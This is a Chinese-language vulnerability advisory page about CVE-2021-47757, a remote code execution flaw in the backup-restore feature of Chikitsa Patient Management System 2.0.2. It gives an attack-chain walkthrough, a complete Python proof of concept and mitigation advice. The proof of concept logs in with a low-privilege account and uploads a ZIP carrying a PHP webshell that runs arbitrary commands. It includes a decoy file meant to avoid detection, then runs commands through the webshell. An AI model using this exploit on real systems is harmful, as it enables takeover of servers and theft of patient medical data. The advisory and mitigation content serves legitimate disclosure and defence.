IPBUF安全漏洞报告
English
CVE-2021-47757 CVSS 8.8 高危

CVE-2021-47757: Chikitsa Patient Management System 远程代码执行漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2021-47757
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chikitsa Patient Management System

相关标签

CVE-2021-47757远程代码执行Chikitsa备份恢复功能webshell文件上传漏洞医疗系统PHP高危漏洞

漏洞概述

CVE-2021-47757是Chikitsa Patient Management System 2.0.2版本中的一个严重安全漏洞。该漏洞存在于系统的备份恢复功能中,允许经过认证的低权限用户在服务器上执行任意系统命令。攻击者通过构造包含恶意PHP脚本的备份ZIP文件,利用备份恢复机制在服务器上部署webshell,从而获得远程代码执行能力。由于该漏洞无需复杂的技术手段即可利用,且CVSS评分达到8.8分,属于高危漏洞,对使用该系统的医疗机构构成严重安全威胁。攻击成功后,攻击者可以完全控制服务器,窃取患者医疗数据、处方信息等敏感数据,甚至可能横向移动到内网其他系统。

技术细节

该漏洞的根本原因在于Chikitsa Patient Management System的备份恢复功能缺乏对上传文件的充分安全验证。具体来说:1) 备份恢复功能允许用户上传ZIP格式的备份文件;2) 系统在恢复备份时直接解压ZIP文件,未对其中包含的文件类型进行严格检查;3) 攻击者可以在ZIP文件中嵌入带有恶意PHP代码的文件(如webshell.php);4) 当备份恢复时,这些恶意PHP文件会被解压到Web服务器的webroot目录;5) 攻击者随后可以通过HTTP请求访问该PHP文件,在服务器上执行任意系统命令。漏洞利用的关键在于系统未对备份文件内容进行安全校验,未对PHP文件进行过滤或重命名,且备份恢复功能本身对所有认证用户开放。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统为Chikitsa Patient Management System,确认版本为2.0.2,定位备份恢复功能入口点
STEP 2
Authentication
攻击者使用低权限账号登录系统,获取有效的会话cookie(该漏洞需要认证但权限要求低)
STEP 3
Payload Preparation
攻击者构造恶意ZIP备份文件,在其中嵌入webshell.php等恶意PHP文件
STEP 4
Upload Malicious Backup
通过备份恢复功能上传恶意ZIP文件,系统解压文件并将其写入webroot目录
STEP 5
webshell Activation
攻击者通过HTTP请求访问已部署的webshell.php,传入系统命令参数
STEP 6
Remote Code Execution
服务器执行恶意PHP代码,攻击者获得服务器系统命令执行权限,可进行数据窃取、持久化控制等操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2021-47757 PoC - Chikitsa Patient Management System RCE via Backup Restore # Author: Security Researcher import zipfile import os import requests from io import BytesIO # Malicious PHP webshell payload webshell_content = b"<?php\nif(isset($_REQUEST['cmd'])){\n $cmd = $_REQUEST['cmd'];\n system($cmd);\n}\n?>" def create_malicious_backup(): """Create a malicious backup ZIP file with embedded PHP webshell""" zip_buffer = BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # Add malicious PHP file to the backup zip_file.writestr('webshell.php', webshell_content) # Add legitimate backup structure to avoid detection zip_file.writestr('backup_info.json', '{"version":"2.0.2","timestamp":"2021-01-01"}') return zip_buffer.getvalue() def exploit(target_url, username, password): """ Exploit the backup restore functionality to achieve RCE """ session = requests.Session() # Step 1: Login to the application login_url = f"{target_url}/index.php/user/login" login_data = { 'username': username, 'password': password } response = session.post(login_url, data=login_data) if 'login' in response.url.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Upload malicious backup backup_url = f"{target_url}/index.php/backup/restore" malicious_backup = create_malicious_backup() files = { 'backup_file': ('malicious_backup.zip', malicious_backup, 'application/zip') } response = session.post(backup_url, files=files) # Step 3: Execute command via webshell webshell_url = f"{target_url}/webshell.php" cmd = "whoami" response = session.get(webshell_url, params={'cmd': cmd}) if response.status_code == 200: print(f"[+] RCE Successful! Command output: {response.text.strip()}") return True else: print("[-] Exploitation failed!") return False if __name__ == "__main__": target = "http://target.com/chikitsa" exploit(target, "attacker", "password")

影响范围

Chikitsa Patient Management System 2.0.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制备份恢复功能的访问权限,仅允许可信管理员操作;2) 在Web服务器配置中禁止上传目录中PHP文件的执行;3) 部署Web应用防火墙(WAF)规则,检测和阻止恶意PHP文件上传;4) 启用详细的访问日志和备份操作审计,及时发现异常行为;5) 对所有备份文件进行病毒和恶意代码扫描后再恢复;6) 考虑暂时禁用备份恢复功能,直到漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表